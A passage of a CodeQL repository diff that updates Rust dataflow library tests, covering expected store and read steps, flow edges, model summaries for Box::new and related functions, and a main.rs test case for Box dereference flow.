file://:0:0:0:0 | element | main.rs:435:10:435:19 | mut_arr[0] | +| main.rs:442:9:442:20 | TuplePat | file://:0:0:0:0 | tuple.0 | main.rs:442:10:442:13 | cond | +| main.rs:442:9:442:20 | TuplePat | file://:0:0:0:0 | tuple.1 | main.rs:442:16:442:19 | name | +| main.rs:442:25:442:29 | names | file://:0:0:0:0 | element | main.rs:442:9:442:20 | TuplePat | +| main.rs:444:41:444:67 | [post] \|...\| ... | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | [post] default_name | +| main.rs:444:44:444:55 | this | main.rs:441:9:441:20 | captured default_name | main.rs:444:44:444:55 | default_name | +| main.rs:481:10:481:11 | vs | file://:0:0:0:0 | element | main.rs:481:10:481:14 | vs[0] | +| main.rs:482:11:482:35 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:482:10:482:35 | * ... | +| main.rs:483:11:483:35 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:483:10:483:35 | * ... | +| main.rs:485:14:485:15 | vs | file://:0:0:0:0 | element | main.rs:485:9:485:9 | v | +| main.rs:488:9:488:10 | &... | file://:0:0:0:0 | &ref | main.rs:488:10:488:10 | v | +| main.rs:488:15:488:23 | vs.iter() | file://:0:0:0:0 | element | main.rs:488:9:488:10 | &... | +| main.rs:493:9:493:10 | &... | file://:0:0:0:0 | &ref | main.rs:493:10:493:10 | v | +| main.rs:493:15:493:17 | vs2 | file://:0:0:0:0 | element | main.rs:493:9:493:10 | &... | +| main.rs:497:29:497:29 | x | file://:0:0:0:0 | &ref | main.rs:497:28:497:29 | * ... | +| main.rs:498:34:498:34 | x | file://:0:0:0:0 | &ref | main.rs:498:33:498:34 | * ... | +| main.rs:500:14:500:27 | vs.into_iter() | file://:0:0:0:0 | element | main.rs:500:9:500:9 | v | +| main.rs:506:10:506:15 | vs_mut | file://:0:0:0:0 | element | main.rs:506:10:506:18 | vs_mut[0] | +| main.rs:507:11:507:39 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:507:10:507:39 | * ... | +| main.rs:508:11:508:39 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:508:10:508:39 | * ... | +| main.rs:510:9:510:14 | &mut ... | file://:0:0:0:0 | &ref | main.rs:510:14:510:14 | v | +| main.rs:510:19:510:35 | vs_mut.iter_mut() | file://:0:0:0:0 | element | main.rs:510:9:510:14 | &mut ... | +| main.rs:524:11:524:15 | c_ref | file://:0:0:0:0 | &ref | main.rs:524:10:524:15 | * ... | +storeStep +| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | +| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | +| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | +| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | +| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | +| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | +| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | +| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | +| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | +| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | +| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | +| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | +| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | +| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:214:27:214:36 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:214:14:214:37 | ...::Some(...) | +| main.rs:215:27:215:27 | 2 | {EXTERNAL LOCATION} | Some | main.rs:215:14:215:28 | ...::Some(...) | +| main.rs:227:19:227:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:227:14:227:29 | Some(...) | +| main.rs:228:19:228:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:228:14:228:20 | Some(...) | +| main.rs:240:19:240:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:240:14:240:29 | Some(...) | +| main.rs:245:19:245:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:245:14:245:29 | Some(...) | +| main.rs:248:19:248:19 | 0 | {EXTERNAL LOCATION} | Some | main.rs:248:14:248:20 | Some(...) | +| main.rs:253:19:253:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:253:14:253:29 | Some(...) | +| main.rs:261:19:261:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:261:14:261:29 | Some(...) | +| main.rs:262:19:262:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:262:14:262:20 | Some(...) | +| main.rs:266:10:266:10 | 0 | {EXTERNAL LOCATION} | Some | main.rs:266:5:266:11 | Some(...) | +| main.rs:270:36:270:45 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:270:33:270:46 | Ok(...) | +| main.rs:276:37:276:46 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:276:33:276:47 | Err(...) | +| main.rs:284:35:284:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:284:32:284:45 | Ok(...) | +| main.rs:285:35:285:35 | 2 | {EXTERNAL LOCATION} | Ok | main.rs:285:32:285:36 | Ok(...) | +| main.rs:286:36:286:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:286:32:286:46 | Err(...) | +| main.rs:293:8:293:8 | 0 | {EXTERNAL LOCATION} | Ok | main.rs:293:5:293:9 | Ok(...) | +| main.rs:297:35:297:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:297:32:297:45 | Ok(...) | +| main.rs:301:36:301:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:301:32:301:46 | Err(...) | +| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | +| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | +| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | +| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | +| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | +| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | +| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | +| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | +| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | +| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | +| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | +| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | +| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | +| main.rs:545:27:545:27 | 0 | {EXTERNAL LOCATION} | Some | main.rs:545:22:545:28 | Some(...) | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql index 29158454b2f7..21e459745291 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql @@ -1,5 +1,6 @@ import codeql.rust.dataflow.DataFlow import codeql.rust.dataflow.internal.DataFlowImpl +import codeql.rust.dataflow.internal.Node import utils.test.TranslateModels query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { @@ -7,6 +8,14 @@ query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { RustDataFlow::simpleLocalFlowStep(nodeFrom, nodeTo, "") } -query predicate storeStep = RustDataFlow::storeStep/3; +class Node extends DataFlow::Node { + Node() { not this instanceof FlowSummaryNode } +} + +query predicate storeStep(Node node1, DataFlow::Content c, Node node2) { + RustDataFlow::storeContentStep(node1, c, node2) +} -query predicate readStep = RustDataFlow::readStep/3; +query predicate readStep(Node node1, DataFlow::Content c, Node node2) { + RustDataFlow::readContentStep(node1, c, node2) +} diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref new file mode 100644 index 000000000000..e3dd95c3e612 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref @@ -0,0 +1,2 @@ +query: DataFlowStep.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected index 80469e0b3995..cf3fd262c65a 100644 --- a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected @@ -1,14 +1,15 @@ models -| 1 | Summary: lang:core; <_ as crate::convert::From>::from; Argument[0]; ReturnValue; value | -| 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 3 | Summary: lang:core; ::unwrap_or; Argument[0]; ReturnValue; value | -| 4 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 5 | Summary: lang:core; ::unwrap_or_else; Argument[0].ReturnValue; ReturnValue; value | -| 6 | Summary: lang:core; ::unwrap_or_else; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 7 | Summary: lang:core; ::err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | -| 8 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 9 | Summary: lang:core; ::expect_err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue; value | -| 10 | Summary: lang:core; ::ok; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 1 | Summary: lang:alloc; ::new; Argument[0]; ReturnValue.Reference; value | +| 2 | Summary: lang:core; <_ as crate::convert::From>::from; Argument[0]; ReturnValue; value | +| 3 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 4 | Summary: lang:core; ::unwrap_or; Argument[0]; ReturnValue; value | +| 5 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 6 | Summary: lang:core; ::unwrap_or_else; Argument[0].ReturnValue; ReturnValue; value | +| 7 | Summary: lang:core; ::unwrap_or_else; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 8 | Summary: lang:core; ::err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 9 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 10 | Summary: lang:core; ::expect_err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue; value | +| 11 | Summary: lang:core; ::ok; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | edges | main.rs:22:9:22:9 | s | main.rs:23:10:23:10 | s | provenance | | | main.rs:22:13:22:21 | source(...) | main.rs:22:9:22:9 | s | provenance | | @@ -22,6 +23,10 @@ edges | main.rs:48:15:48:23 | source(...) | main.rs:47:9:47:9 | b | provenance | | | main.rs:56:5:56:5 | i | main.rs:57:10:57:10 | i | provenance | | | main.rs:56:9:56:17 | source(...) | main.rs:56:5:56:5 | i | provenance | | +| main.rs:89:9:89:9 | i [&ref] | main.rs:90:11:90:11 | i [&ref] | provenance | | +| main.rs:89:13:89:31 | ...::new(...) [&ref] | main.rs:89:9:89:9 | i [&ref] | provenance | | +| main.rs:89:22:89:30 | source(...) | main.rs:89:13:89:31 | ...::new(...) [&ref] | provenance | MaD:1 | +| main.rs:90:11:90:11 | i [&ref] | main.rs:90:10:90:11 | * ... | provenance | | | main.rs:97:9:97:9 | a [tuple.0] | main.rs:98:10:98:10 | a [tuple.0] | provenance | | | main.rs:97:13:97:26 | TupleExpr [tuple.0] | main.rs:97:9:97:9 | a [tuple.0] | provenance | | | main.rs:97:14:97:22 | source(...) | main.rs:97:13:97:26 | TupleExpr [tuple.0] | provenance | | @@ -95,32 +100,32 @@ edges | main.rs:229:11:229:12 | s1 [Some] | main.rs:230:9:230:15 | Some(...) [Some] | provenance | | | main.rs:230:9:230:15 | Some(...) [Some] | main.rs:230:14:230:14 | n | provenance | | | main.rs:230:14:230:14 | n | main.rs:230:25:230:25 | n | provenance | | -| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap() | provenance | MaD:2 | +| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap() | provenance | MaD:3 | | main.rs:240:14:240:29 | Some(...) [Some] | main.rs:240:9:240:10 | s1 [Some] | provenance | | | main.rs:240:19:240:28 | source(...) | main.rs:240:14:240:29 | Some(...) [Some] | provenance | | -| main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:4 | +| main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:5 | | main.rs:245:14:245:29 | Some(...) [Some] | main.rs:245:9:245:10 | s1 [Some] | provenance | | | main.rs:245:19:245:28 | source(...) | main.rs:245:14:245:29 | Some(...) [Some] | provenance | | -| main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | provenance | MaD:3 | -| main.rs:253:9:253:10 | s1 [Some] | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | provenance | MaD:6 | +| main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | provenance | MaD:4 | +| main.rs:253:9:253:10 | s1 [Some] | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | provenance | MaD:7 | | main.rs:253:14:253:29 | Some(...) [Some] | main.rs:253:9:253:10 | s1 [Some] | provenance | | | main.rs:253:19:253:28 | source(...) | main.rs:253:14:253:29 | Some(...) [Some] | provenance | | -| main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | provenance | MaD:5 | +| main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | provenance | MaD:6 | | main.rs:261:9:261:10 | s1 [Some] | main.rs:263:14:263:15 | s1 [Some] | provenance | | | main.rs:261:14:261:29 | Some(...) [Some] | main.rs:261:9:261:10 | s1 [Some] | provenance | | | main.rs:261:19:261:28 | source(...) | main.rs:261:14:261:29 | Some(...) [Some] | provenance | | | main.rs:263:9:263:10 | i1 | main.rs:264:10:264:11 | i1 | provenance | | | main.rs:263:14:263:15 | s1 [Some] | main.rs:263:14:263:16 | TryExpr | provenance | | | main.rs:263:14:263:16 | TryExpr | main.rs:263:9:263:10 | i1 | provenance | | -| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok() [Some] | provenance | MaD:10 | +| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok() [Some] | provenance | MaD:11 | | main.rs:270:33:270:46 | Ok(...) [Ok] | main.rs:270:9:270:10 | r1 [Ok] | provenance | | | main.rs:270:36:270:45 | source(...) | main.rs:270:33:270:46 | Ok(...) [Ok] | provenance | | -| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap() | provenance | MaD:2 | +| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap() | provenance | MaD:3 | | main.rs:271:29:271:35 | r1.ok() [Some] | main.rs:271:9:271:11 | o1a [Some] | provenance | | -| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err() [Some] | provenance | MaD:7 | +| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err() [Some] | provenance | MaD:8 | | main.rs:276:33:276:47 | Err(...) [Err] | main.rs:276:9:276:10 | r2 [Err] | provenance | | | main.rs:276:37:276:46 | source(...) | main.rs:276:33:276:47 | Err(...) [Err] | provenance | | -| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap() | provenance | MaD:2 | +| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap() | provenance | MaD:3 | | main.rs:278:29:278:36 | r2.err() [Some] | main.rs:278:9:278:11 | o2b [Some] | provenance | | | main.rs:284:9:284:10 | s1 [Ok] | main.rs:287:14:287:15 | s1 [Ok] | provenance | | | main.rs:284:32:284:45 | Ok(...) [Ok] | main.rs:284:9:284:10 | s1 [Ok] | provenance | | @@ -128,10 +133,10 @@ edges | main.rs:287:9:287:10 | i1 | main.rs:289:10:289:11 | i1 | provenance | | | main.rs:287:14:287:15 | s1 [Ok] | main.rs:287:14:287:16 | TryExpr | provenance | | | main.rs:287:14:287:16 | TryExpr | main.rs:287:9:287:10 | i1 | provenance | | -| main.rs:297:9:297:10 | s1 [Ok] | main.rs:298:10:298:22 | s1.expect(...) | provenance | MaD:8 | +| main.rs:297:9:297:10 | s1 [Ok] | main.rs:298:10:298:22 | s1.expect(...) | provenance | MaD:9 | | main.rs:297:32:297:45 | Ok(...) [Ok] | main.rs:297:9:297:10 | s1 [Ok] | provenance | | | main.rs:297:35:297:44 | source(...) | main.rs:297:32:297:45 | Ok(...) [Ok] | provenance | | -| main.rs:301:9:301:10 | s2 [Err] | main.rs:303:10:303:26 | s2.expect_err(...) | provenance | MaD:9 | +| main.rs:301:9:301:10 | s2 [Err] | main.rs:303:10:303:26 | s2.expect_err(...) | provenance | MaD:10 | | main.rs:301:32:301:46 | Err(...) [Err] | main.rs:301:9:301:10 | s2 [Err] | provenance | | | main.rs:301:36:301:45 | source(...) | main.rs:301:32:301:46 | Err(...) [Err] | provenance | | | main.rs:312:9:312:10 | s1 [A] | main.rs:314:11:314:12 | s1 [A] | provenance | | @@ -233,7 +238,7 @@ edges | main.rs:524:11:524:15 | c_ref [&ref] | main.rs:524:10:524:15 | * ... | provenance | | | main.rs:528:9:528:9 | a | main.rs:532:20:532:20 | a | provenance | | | main.rs:528:18:528:27 | source(...) | main.rs:528:9:528:9 | a | provenance | | -| main.rs:532:20:532:20 | a | main.rs:532:10:532:21 | ...::from(...) | provenance | MaD:1 | +| main.rs:532:20:532:20 | a | main.rs:532:10:532:21 | ...::from(...) | provenance | MaD:2 | nodes | main.rs:18:10:18:18 | source(...) | semmle.label | source(...) | | main.rs:22:9:22:9 | s | semmle.label | s | @@ -253,6 +258,11 @@ nodes | main.rs:56:5:56:5 | i | semmle.label | i | | main.rs:56:9:56:17 | source(...) | semmle.label | source(...) | | main.rs:57:10:57:10 | i | semmle.label | i | +| main.rs:89:9:89:9 | i [&ref] | semmle.label | i [&ref] | +| main.rs:89:13:89:31 | ...::new(...) [&ref] | semmle.label | ...::new(...) [&ref] | +| main.rs:89:22:89:30 | source(...) | semmle.label | source(...) | +| main.rs:90:10:90:11 | * ... | semmle.label | * ... | +| main.rs:90:11:90:11 | i [&ref] | semmle.label | i [&ref] | | main.rs:97:9:97:9 | a [tuple.0] | semmle.label | a [tuple.0] | | main.rs:97:13:97:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | main.rs:97:14:97:22 | source(...) | semmle.label | source(...) | @@ -514,6 +524,7 @@ testFailures | main.rs:39:10:39:10 | b | main.rs:34:13:34:21 | source(...) | main.rs:39:10:39:10 | b | $@ | main.rs:34:13:34:21 | source(...) | source(...) | | main.rs:50:10:50:10 | b | main.rs:48:15:48:23 | source(...) | main.rs:50:10:50:10 | b | $@ | main.rs:48:15:48:23 | source(...) | source(...) | | main.rs:57:10:57:10 | i | main.rs:56:9:56:17 | source(...) | main.rs:57:10:57:10 | i | $@ | main.rs:56:9:56:17 | source(...) | source(...) | +| main.rs:90:10:90:11 | * ... | main.rs:89:22:89:30 | source(...) | main.rs:90:10:90:11 | * ... | $@ | main.rs:89:22:89:30 | source(...) | source(...) | | main.rs:98:10:98:12 | a.0 | main.rs:97:14:97:22 | source(...) | main.rs:98:10:98:12 | a.0 | $@ | main.rs:97:14:97:22 | source(...) | source(...) | | main.rs:106:10:106:11 | a1 | main.rs:103:17:103:26 | source(...) | main.rs:106:10:106:11 | a1 | $@ | main.rs:103:17:103:26 | source(...) | source(...) | | main.rs:113:10:113:12 | a.1 | main.rs:111:21:111:30 | source(...) | main.rs:113:10:113:12 | a.1 | $@ | main.rs:111:21:111:30 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/local/main.rs b/rust/ql/test/library-tests/dataflow/local/main.rs index 1d91135a31d5..4323f58c880b 100644 --- a/rust/ql/test/library-tests/dataflow/local/main.rs +++ b/rust/ql/test/library-tests/dataflow/local/main.rs @@ -87,7 +87,7 @@ fn block_expression3(b: bool) -> i64 { fn box_deref() { let i = Box::new(source(7)); - sink(*i); // $ MISSING: hasValueFlow=7 + sink(*i); // $ hasValueFlow=7 } // ----------------------------------------------------------------------------- diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index 1b8bc315c7a4..b1103e843b2e 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -1,54 +1,97 @@ models -| 1 | Summary: lang:core; ::clone; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | -| 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 3 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | -| 4 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 5 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | -| 6 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | +| 1 | Summary: lang:alloc; ::into_pin; Argument[0]; ReturnValue; value | +| 2 | Summary: lang:alloc; ::new; Argument[0]; ReturnValue.Reference; value | +| 3 | Summary: lang:alloc; ::pin; Argument[0]; ReturnValue.Reference; value | +| 4 | Summary: lang:core; ::clone; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 5 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 6 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | +| 7 | Summary: lang:core; ::into_inner; Argument[0]; ReturnValue; value | +| 8 | Summary: lang:core; ::new; Argument[0]; ReturnValue; value | +| 9 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 10 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | +| 11 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | +| 12 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | edges -| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:2 | +| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:5 | | main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:13 | a [Some] | provenance | | -| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:1 | +| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:4 | | main.rs:12:13:12:28 | Some(...) [Some] | main.rs:12:9:12:9 | a [Some] | provenance | | | main.rs:12:18:12:27 | source(...) | main.rs:12:13:12:28 | Some(...) [Some] | provenance | | -| 